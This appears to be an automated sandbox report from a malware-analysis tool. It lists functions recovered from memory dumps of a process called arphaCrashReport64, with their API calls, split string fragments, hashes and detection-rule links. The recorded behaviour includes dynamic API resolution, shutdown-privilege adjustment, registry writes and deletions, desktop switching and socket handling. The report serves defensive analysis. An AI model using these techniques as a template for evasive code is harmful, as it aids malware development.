free.LIBCMT ref: 0000021497F3B977
free.LIBCMT ref: 0000021497F3B983
free.LIBCMT ref: 0000021497F3B98F
free.LIBCMT ref: 0000021497F3B99B
free.LIBCMT ref: 0000021497F3B9A7
free.LIBCMT ref: 0000021497F3B9B3
free.LIBCMT ref: 0000021497F3B9BF
free.LIBCMT ref: 0000021497F3B9CB
free.LIBCMT ref: 0000021497F3B9D7
free.LIBCMT ref: 0000021497F3B9E3
free.LIBCMT ref: 0000021497F3B9EF
free.LIBCMT ref: 0000021497F3B9FB
free.LIBCMT ref: 0000021497F3BA07
free.LIBCMT ref: 0000021497F3BA13
free.LIBCMT ref: 0000021497F3BA1F
free.LIBCMT ref: 0000021497F3BA2B
free.LIBCMT ref: 0000021497F3BA37
free.LIBCMT ref: 0000021497F3BA43
free.LIBCMT ref: 0000021497F3BA4F
free.LIBCMT ref: 0000021497F3BA5B
free.LIBCMT ref: 0000021497F3BA67
free.LIBCMT ref: 0000021497F3BA73
free.LIBCMT ref: 0000021497F3BA7F
free.LIBCMT ref: 0000021497F3BA8B
free.LIBCMT ref: 0000021497F3BA97
free.LIBCMT ref: 0000021497F3BAA3
free.LIBCMT ref: 0000021497F3BAAF
free.LIBCMT ref: 0000021497F3BABB
free.LIBCMT ref: 0000021497F3BAC7
free.LIBCMT ref: 0000021497F3BAD3
free.LIBCMT ref: 0000021497F3BADF
free.LIBCMT ref: 0000021497F3BAEB
free.LIBCMT ref: 0000021497F3BAF7
free.LIBCMT ref: 0000021497F3BB03
free.LIBCMT ref: 0000021497F3BB0F
free.LIBCMT ref: 0000021497F3BB1B
free.LIBCMT ref: 0000021497F3BB27

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: f3c0e11a43e7d0d2872c49bf4f8467940f6418822668191f0b865322cb4415fa
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: B6A1653121154DA1EA41FB31D8B97ED1320AFE5B87F445D32D94DBB16BCE10C8498750

Function 0000021497F232F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F233B3
GetProcAddress.KERNEL32 ref: 0000021497F233C3
GetProcAddress.KERNEL32 ref: 0000021497F233D3
GetProcAddress.KERNEL32 ref: 0000021497F233E3

Strings

el32, xrefs: 0000021497F23326
ime, xrefs: 0000021497F23385
eAsF, xrefs: 0000021497F2334D
.dll, xrefs: 0000021497F2332D
calF, xrefs: 0000021497F23377
yste, xrefs: 0000021497F2333F
ileT, xrefs: 0000021497F2337E
Time, xrefs: 0000021497F23393
ime, xrefs: 0000021497F2335B
ToLo, xrefs: 0000021497F23370
Time, xrefs: 0000021497F233A8
stem, xrefs: 0000021497F233A1
GetS, xrefs: 0000021497F23338
File, xrefs: 0000021497F23362
Time, xrefs: 0000021497F23369
mTim, xrefs: 0000021497F23346
ToSy, xrefs: 0000021497F2339A
File, xrefs: 0000021497F2338C
ileT, xrefs: 0000021497F23354
Kern, xrefs: 0000021497F2331F

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction ID: 26a10ef9f24d8be3429be6b38f7e5d79cbffd98c0e7e9e73f57d292e310463de
Opcode Fuzzy Hash: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction Fuzzy Hash: C13114B2700A41DEEB00DFA1E5997ED3B70F718B89F40451AEA0D5BB0CDA34C249CB44

Function 0000021497F3E7CC Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E811
GetProcAddress.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E82D
RtlEncodePointer.NTDLL ref: 0000021497F3E83F
GetProcAddress.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E856
RtlEncodePointer.NTDLL ref: 0000021497F3E85F
GetProcAddress.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E876
RtlEncodePointer.NTDLL ref: 0000021497F3E87F
GetProcAddress.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E896
RtlEncodePointer.NTDLL ref: 0000021497F3E89F
GetProcAddress.KERNEL32(?,?,?,?,?,0000021497F212ED), ref: 0000021497F3E8BE
RtlEncodePointer.NTDLL ref: 0000021497F3E8C7
RtlDecodePointer.NTDLL ref: 0000021497F3E8FA
RtlDecodePointer.NTDLL ref: 0000021497F3E90A
RtlDecodePointer.NTDLL ref: 0000021497F3E960
RtlDecodePointer.NTDLL ref: 0000021497F3E981
RtlDecodePointer.NTDLL ref: 0000021497F3E99B

Strings

GetProcessWindowStation, xrefs: 0000021497F3E8B4
USER32.DLL, xrefs: 0000021497F3E80A
ceil, xrefs: 0000021497F3E7D1
MessageBoxW, xrefs: 0000021497F3E823
GetUserObjectInformationW, xrefs: 0000021497F3E885
GetActiveWindow, xrefs: 0000021497F3E845
GetLastActivePopup, xrefs: 0000021497F3E865

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL$ceil
API String ID: 2643518689-1731902841
Opcode ID: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction ID: 40cab035209d7cb64260055d98ca12a2f73b97ed72b64042b57cb0395e84ba34
Opcode Fuzzy Hash: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction Fuzzy Hash: 73512C31646B4682FE95FB15A87CBF623A0AB64FD2F440825ED0E23799EF38C445DB04

Function 0000021497F23160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F231DA
GetProcAddress.KERNEL32 ref: 0000021497F231E7
LoadLibraryA.KERNEL32 ref: 0000021497F2321B
GetProcAddress.KERNEL32 ref: 0000021497F23228
LoadLibraryA.KERNEL32 ref: 0000021497F23243
GetProcAddress.KERNEL32 ref: 0000021497F23250

Strings

Free, xrefs: 0000021497F23232
AndI, xrefs: 0000021497F231BA
ship, xrefs: 0000021497F23210
aliz, xrefs: 0000021497F231C8
mber, xrefs: 0000021497F23206
Allo, xrefs: 0000021497F231AC
pi32, xrefs: 0000021497F2319A
niti, xrefs: 0000021497F231C1
cate, xrefs: 0000021497F231B3
enMe, xrefs: 0000021497F231FF
eSid, xrefs: 0000021497F231CF
Adva, xrefs: 0000021497F23193
Chec, xrefs: 0000021497F231F1
Sid, xrefs: 0000021497F2323C
.dll, xrefs: 0000021497F231A1
kTok, xrefs: 0000021497F231F8

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction ID: 2f63fe017f17e1d3c405a32e508d8b455a1b313968484c612f7a73ab79220c0c
Opcode Fuzzy Hash: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction Fuzzy Hash: 2E416572604641DED710DFA1E0A87DD7BB4F758788F40441AEA4C57B1CDB78C219CB44

Function 0000021497F22DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F22DE1
GetProcAddress.KERNEL32 ref: 0000021497F22DF4
GetProcAddress.KERNEL32 ref: 0000021497F22E07
GetProcAddress.KERNEL32 ref: 0000021497F22E1A
LoadLibraryA.KERNEL32 ref: 0000021497F22E2A
GetProcAddress.KERNEL32 ref: 0000021497F22E3D
LoadLibraryA.KERNEL32 ref: 0000021497F22EA6
GetProcAddress.KERNEL32 ref: 0000021497F22EB6
CloseHandle.KERNEL32 ref: 0000021497F22ECC
FreeLibrary.KERNEL32 ref: 0000021497F22EDA
FreeLibrary.KERNEL32 ref: 0000021497F22EE8

Strings

kernel32.dll, xrefs: 0000021497F22E20
ADVAPI32.dll, xrefs: 0000021497F22DD7
GetCurrentProcess, xrefs: 0000021497F22E30
AdjustTokenPrivileges, xrefs: 0000021497F22DFA
LookupPrivilegeValueA, xrefs: 0000021497F22E0D
KERNEL32.dll, xrefs: 0000021497F22E9F
SeShutdownPrivilege, xrefs: 0000021497F22E63
GetLastError, xrefs: 0000021497F22EAC
OpenProcessToken, xrefs: 0000021497F22DE7

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction ID: 5343d33f3b2fb449727aa5f89f2e40dcde199a4c9e4e109943c3b2b5d9734ec3
Opcode Fuzzy Hash: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction Fuzzy Hash: 07317E31250B0592EB40FB21F86CAEB7360F794BD2F440816EE4E63729EE78C449DB04

Function 0000021497F23A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 0000021497F219A0: WSAStartup.WS2_32 ref: 0000021497F21A19
Part of subcall function 0000021497F219A0: CreateEventA.KERNEL32 ref: 0000021497F21A2A

GetTickCount64.KERNEL32 ref: 0000021497F23AEF

Part of subcall function 0000021497F21BF0: ResetEvent.KERNEL32 ref: 0000021497F21C2D
Part of subcall function 0000021497F21BF0: timeGetTime.WINMM ref: 0000021497F21C3F
Part of subcall function 0000021497F21BF0: socket.WS2_32 ref: 0000021497F21C66

Sleep.KERNEL32 ref: 0000021497F23B4B
GetTickCount64.KERNEL32 ref: 0000021497F23B57
setsockopt.WS2_32 ref: 0000021497F23BB7
CancelIo.KERNEL32 ref: 0000021497F23BC1
closesocket.WS2_32 ref: 0000021497F23BD2
SetEvent.KERNEL32 ref: 0000021497F23BDC
TerminateThread.KERNEL32 ref: 0000021497F23C03
WaitForSingleObject.KERNEL32 ref: 0000021497F23C13
CloseHandle.KERNEL32 ref: 0000021497F23C20
Sleep.KERNEL32 ref: 0000021497F23C2B
CloseHandle.KERNEL32 ref: 0000021497F23C47
GetTickCount64.KERNEL32 ref: 0000021497F23D40

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction ID: db50bcf83a8bb421da66545a995cc91d08722e409a815b088129927c0e30fddc
Opcode Fuzzy Hash: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction Fuzzy Hash: 84816435200A8086EB20FF35DC6C7DA3361FB95BA6F544A11DA5E676ADDF34C549CB00

Function 00007FF600163430 Relevance: 33.6, APIs: 14, Strings: 5, Instructions: 335memorystringCOMMON

Download Yara Rule

APIs

CoTaskMemAlloc.OLE32 ref: 00007FF6001634C4
wcsstr.LIBVCRUNTIME ref: 00007FF60016353A
CharNextW.USER32 ref: 00007FF60016354C
CharNextW.USER32 ref: 00007FF600163558
CharNextW.USER32 ref: 00007FF600163564
CharNextW.USER32 ref: 00007FF600163570
CharNextW.USER32 ref: 00007FF6001635D8
CharNextW.USER32 ref: 00007FF600163654
CoTaskMemFree.OLE32 ref: 00007FF600163689

Part of subcall function 00007FF600162B90: CharNextW.USER32 ref: 00007FF600162BA3

EnterCriticalSection.KERNEL32 ref: 00007FF600163705
lstrcmpiW.KERNEL32 ref: 00007FF60016372D
LeaveCriticalSection.KERNEL32 ref: 00007FF60016374C
CharNextW.USER32 ref: 00007FF600163799
CharNextW.USER32 ref: 00007FF6001637BB

Strings

HKCU{Software{Classes, xrefs: 00007FF600163582
', xrefs: 00007FF600163516
}}, xrefs: 00007FF60016362A
HKCR, xrefs: 00007FF600163530
', xrefs: 00007FF6001637A7

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: CharNext$CriticalSectionTask$AllocEnterFreeLeavelstrcmpiwcsstr
String ID: }}$'$'$HKCR$HKCU{Software{Classes
API String ID: 3732455964-2865048680
Opcode ID: a7b7e96d1e6b74aa215dbcd9d95254b13cd2db53ae61e1e2166b227c1109fcc6
Instruction ID: c88dea004a2084e37bbc85367be6b219b690db31e8f061002ff631e9a3a3acd9
Opcode Fuzzy Hash: a7b7e96d1e6b74aa215dbcd9d95254b13cd2db53ae61e1e2166b227c1109fcc6
Instruction Fuzzy Hash: 65D1C532A0DB42A5EB618B95D81427D67A4FF44BA4F344274DA6E877DDDF3CE6418300

Function 0000021497F41BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000021497F4065C: RtlLookupFunctionEntry.KERNEL32 ref: 0000021497F406D0

__GetUnwindTryBlock.LIBCMT ref: 0000021497F41C34
__SetUnwindTryBlock.LIBCMT ref: 0000021497F41C5B

Part of subcall function 0000021497F3581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000021497F33332), ref: 0000021497F35897

__GetUnwindTryBlock.LIBCMT ref: 0000021497F41C65
_getptd.LIBCMT ref: 0000021497F41CBB
_getptd.LIBCMT ref: 0000021497F41CCE
_getptd.LIBCMT ref: 0000021497F41CDA
_SetThrowImageBase.LIBCMT ref: 0000021497F41CEE
_getptd.LIBCMT ref: 0000021497F41D3E
_getptd.LIBCMT ref: 0000021497F41D51
_getptd.LIBCMT ref: 0000021497F41D5D
type_info::operator==.LIBCMT ref: 0000021497F41DC4
std::exception::exception.LIBCMT ref: 0000021497F41DFD
_getptd.LIBCMT ref: 0000021497F42030
std::exception::exception.LIBCMT ref: 0000021497F420A9

Strings

bad exception, xrefs: 0000021497F41DEA
csm, xrefs: 0000021497F41C7B
csm, xrefs: 0000021497F41D09
csm, xrefs: 0000021497F41E22

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction ID: d8bb83d9ac4373d80fbfefb928b93c4363c299d707deaa1a2d479b89ab665fbe
Opcode Fuzzy Hash: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction Fuzzy Hash: CBE1CA366846408BEF64FB25906CBEF23A0F764B8AF044925EE4D27B8ACB34C455CB05

Function 0000021497C51588 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 0000021497C515EC
__SetUnwindTryBlock.LIBCMT ref: 0000021497C51613
__GetUnwindTryBlock.LIBCMT ref: 0000021497C5161D
_getptd.LIBCMT ref: 0000021497C51673
_getptd.LIBCMT ref: 0000021497C51686
_getptd.LIBCMT ref: 0000021497C51692
_SetThrowImageBase.LIBCMT ref: 0000021497C516A6
_getptd.LIBCMT ref: 0000021497C516F6
_getptd.LIBCMT ref: 0000021497C51709
_getptd.LIBCMT ref: 0000021497C51715
type_info::operator==.LIBCMT ref: 0000021497C5177C
std::exception::exception.LIBCMT ref: 0000021497C517B5
_getptd.LIBCMT ref: 0000021497C519E8
std::exception::exception.LIBCMT ref: 0000021497C51A61

Strings

csm, xrefs: 0000021497C516C1
csm, xrefs: 0000021497C517DA
csm, xrefs: 0000021497C51633

Memory Dump Source

Source File: 00000003.00000002.3890361310.0000021497C30000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497c30000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseImageThrowtype_info::operator==
String ID: csm$csm$csm
API String ID: 3798665358-393685449
Opcode ID: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction ID: 538549e9251648ccb78a1b9fa1d245bcbeb0e050b42429fdfff54f79cb50ebac
Opcode Fuzzy Hash: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction Fuzzy Hash: 47F1A63061CA888BEB54BF68944DBEA73E1FB64312F540A6DE44DD3192DB36D845CF82

Function 0000021497F217D0 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 112libraryloaderstringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F21806
GetProcAddress.KERNEL32 ref: 0000021497F21819
GetProcAddress.KERNEL32 ref: 0000021497F2182E
GetProcAddress.KERNEL32 ref: 0000021497F21841
GetProcAddress.KERNEL32 ref: 0000021497F21851
GetProcAddress.KERNEL32 ref: 0000021497F21861
GetProcAddress.KERNEL32 ref: 0000021497F21876
lstrlen.KERNEL32 ref: 0000021497F2192A
FreeLibrary.KERNEL32 ref: 0000021497F21970

Strings

RegDeleteValueA, xrefs: 0000021497F21847
RegDeleteKeyA, xrefs: 0000021497F21837
ADVAPI32.dll, xrefs: 0000021497F217FF
RegCloseKey, xrefs: 0000021497F2186C
RegSetValueExA, xrefs: 0000021497F21824
RegCreateKeyExA, xrefs: 0000021497F2180F
?, xrefs: 0000021497F2189D
RegOpenKeyExA, xrefs: 0000021497F21857

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoadlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA
API String ID: 320228506-381397426
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: 6b5e3877c8ed87a6570414d0e3eb91d81bf540882cd981ca4cfc2efdffdfe9f6
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: 99416F36204B5082EB60EB12F868B9BB361F794BD5F500511EE8D53B6CEF38C145DB08

Function 0000021497F22BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000021497F22BD6
GetProcAddress.KERNEL32 ref: 0000021497F22BEE
GetProcAddress.KERNEL32 ref: 0000021497F22C01
GetProcAddress.KERNEL32 ref: 0000021497F22C16
GetProcAddress.KERNEL32 ref: 0000021497F22C29
LoadLibraryA.KERNEL32 ref: 0000021497F22C39
GetProcAddress.KERNEL32 ref: 0000021497F22C51
FreeLibrary.KERNEL32 ref: 0000021497F22CA9
FreeLibrary.KERNEL32 ref: 0000021497F22CB7

Strings

kernel32.dll, xrefs: 0000021497F22C32
SetThreadDesktop, xrefs: 0000021497F22C0C
user32.dll, xrefs: 0000021497F22BCF
CloseDesktop, xrefs: 0000021497F22C1F
GetUserObjectInformationA, xrefs: 0000021497F22BF7
GetCurrentThreadId, xrefs: 0000021497F22C47
GetThreadDesktop, xrefs: 0000021497F22BE4

Memory Dump Source

Source File: 00000003.00000002.3890576932.0000021497F20000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021497F20000, based on PE: true

Associated: 00000003.00000002.3890576932.0000021497F48000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3890576932.0000021498201000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_21497f20000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction ID: 9271b29d8cff98a76ca70c90c0bcb964b72e36c821c3f947b9c79f04d3f8f612
Opcode Fuzzy Hash: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction Fuzzy Hash: 61311C31355B4082EA51EB22F86CBEB63A0BB99BD2F400925DD4D67728EF38C545DB40

Function 00007FF60016D33C Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D355
LoadLibraryExA.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D36F
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D38B
EncodePointer.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D39D
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D3B4
EncodePointer.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D3C2
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D3D9
EncodePointer.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D3E7
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D3FE
EncodePointer.KERNEL32(?,?,?,?,?,?,?,00007FF600162F72), ref: 00007FF60016D40C

Strings

AtlThunk_InitData, xrefs: 00007FF60016D3A3
atlthunk.dll, xrefs: 00007FF60016D362
AtlThunk_AllocateData, xrefs: 00007FF60016D381
AtlThunk_FreeData, xrefs: 00007FF60016D3ED
AtlThunk_DataToCode, xrefs: 00007FF60016D3C8

Memory Dump Source

Source File: 00000003.00000002.3890875845.00007FF600161000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF600160000, based on PE: true

Associated: 00000003.00000002.3890859483.00007FF600160000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890908779.00007FF600182000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890934094.00007FF600192000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3890957831.00007FF600195000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff600160000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$DecodeLibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 4088972757-1745123996
Opcode ID: 8c09dbcfe2dae1ad0642468bfe82c4cc15e963c79359e8f814b649e352f9735f
Instruction ID: d0479a6b0fea06a24319ec351331b59572a1d914cbf3fc3bebc97f17b3ec751d
Opcode Fuzzy Hash: 8c09dbcfe2dae1ad0642468bfe82c4cc15e963c79359e8f814b649e352f9735f
Instruction Fuzzy Hash: 81219670F0AB03A1EE559BD1B85823423E0BF89B45F6890B5C96E87768DFBCB6448340

Function 00007FF60016D43C Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D455
LoadLibraryExA.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D46F
GetProcAddress.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D48B
EncodePointer.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D49D
GetProcAddress.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D4B4
EncodePointer.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D4C2
GetProcAddress.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D4D9
EncodePointer.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D4E7
GetProcAddress.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D4FE
EncodePointer.KERNEL32(?,?,?,00007FF60016D8CA,?,?,?,00007FF600162EF6), ref: 00007FF60016D50C

Strings

AtlThunk_InitData, xrefs: 00007FF60016D4A3
atlthunk.dll, xrefs: 00007FF60016D462
